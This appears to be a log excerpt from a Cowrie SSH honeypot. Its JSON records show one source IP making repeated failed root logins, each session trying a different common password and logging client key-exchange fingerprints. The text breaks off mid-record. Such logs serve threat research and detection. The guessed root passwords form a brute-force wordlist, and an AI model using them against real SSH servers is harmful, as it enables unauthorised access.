{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:33.462971Z","src_ip":"60.165.124.241","session":"e85df73a6839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48690,"dst_ip":"10.17.0.5","dst_port":22,"session":"19c9884b95d5","protocol":"ssh","message":"New connection: 60.165.124.241:48690 (10.17.0.5:22) [session: 19c9884b95d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:33.704399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:33.709494Z","src_ip":"60.165.124.241","session":"19c9884b95d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:33.954485Z","src_ip":"60.165.124.241","session":"19c9884b95d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab12345678","message":"login attempt [root/Ab12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:34.706049Z","src_ip":"60.165.124.241","session":"19c9884b95d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:35.957675Z","src_ip":"60.165.124.241","session":"19c9884b95d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51394,"dst_ip":"10.17.0.5","dst_port":22,"session":"776d6eb4a498","protocol":"ssh","message":"New connection: 60.165.124.241:51394 (10.17.0.5:22) [session: 776d6eb4a498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:36.203341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:36.208854Z","src_ip":"60.165.124.241","session":"776d6eb4a498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:36.467281Z","src_ip":"60.165.124.241","session":"776d6eb4a498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rdP@ssw0rd","message":"login attempt [root/P@ssw0rdP@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:37.198324Z","src_ip":"60.165.124.241","session":"776d6eb4a498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:38.448889Z","src_ip":"60.165.124.241","session":"776d6eb4a498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54518,"dst_ip":"10.17.0.5","dst_port":22,"session":"d616d60d1976","protocol":"ssh","message":"New connection: 60.165.124.241:54518 (10.17.0.5:22) [session: d616d60d1976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:38.729078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:38.733739Z","src_ip":"60.165.124.241","session":"d616d60d1976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:38.995167Z","src_ip":"60.165.124.241","session":"d616d60d1976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nas4free","message":"login attempt [root/nas4free] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:39.787941Z","src_ip":"60.165.124.241","session":"d616d60d1976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:41.047583Z","src_ip":"60.165.124.241","session":"d616d60d1976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57436,"dst_ip":"10.17.0.5","dst_port":22,"session":"71168d47be74","protocol":"ssh","message":"New connection: 60.165.124.241:57436 (10.17.0.5:22) [session: 71168d47be74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:41.272580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:41.277587Z","src_ip":"60.165.124.241","session":"71168d47be74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:41.528018Z","src_ip":"60.165.124.241","session":"71168d47be74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1515","message":"login attempt [root/1515] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:42.259584Z","src_ip":"60.165.124.241","session":"71168d47be74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:43.505751Z","src_ip":"60.165.124.241","session":"71168d47be74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60200,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a7a478f41a","protocol":"ssh","message":"New connection: 60.165.124.241:60200 (10.17.0.5:22) [session: 30a7a478f41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:43.744953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:43.750914Z","src_ip":"60.165.124.241","session":"30a7a478f41a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:43.995662Z","src_ip":"60.165.124.241","session":"30a7a478f41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4815162342","message":"login attempt [root/4815162342] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:44.738111Z","src_ip":"60.165.124.241","session":"30a7a478f41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:45.980046Z","src_ip":"60.165.124.241","session":"30a7a478f41a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34744,"dst_ip":"10.17.0.5","dst_port":22,"session":"520656d8d154","protocol":"ssh","message":"New connection: 60.165.124.241:34744 (10.17.0.5:22) [session: 520656d8d154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:46.258948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:46.264592Z","src_ip":"60.165.124.241","session":"520656d8d154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:46.532612Z","src_ip":"60.165.124.241","session":"520656d8d154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:47.345113Z","src_ip":"60.165.124.241","session":"520656d8d154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:48.614496Z","src_ip":"60.165.124.241","session":"520656d8d154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37862,"dst_ip":"10.17.0.5","dst_port":22,"session":"74aad66588cd","protocol":"ssh","message":"New connection: 60.165.124.241:37862 (10.17.0.5:22) [session: 74aad66588cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:48.842830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:48.848681Z","src_ip":"60.165.124.241","session":"74aad66588cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:49.095148Z","src_ip":"60.165.124.241","session":"74aad66588cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lm@123456","message":"login attempt [root/lm@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:49.831256Z","src_ip":"60.165.124.241","session":"74aad66588cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:51.076532Z","src_ip":"60.165.124.241","session":"74aad66588cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41064,"dst_ip":"10.17.0.5","dst_port":22,"session":"710ae6a61bc3","protocol":"ssh","message":"New connection: 60.165.124.241:41064 (10.17.0.5:22) [session: 710ae6a61bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:51.345807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:51.350738Z","src_ip":"60.165.124.241","session":"710ae6a61bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:51.614116Z","src_ip":"60.165.124.241","session":"710ae6a61bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nautilus","message":"login attempt [root/nautilus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:52.413742Z","src_ip":"60.165.124.241","session":"710ae6a61bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:53.687593Z","src_ip":"60.165.124.241","session":"710ae6a61bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43792,"dst_ip":"10.17.0.5","dst_port":22,"session":"950c274ffd83","protocol":"ssh","message":"New connection: 60.165.124.241:43792 (10.17.0.5:22) [session: 950c274ffd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:53.901309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:53.906182Z","src_ip":"60.165.124.241","session":"950c274ffd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes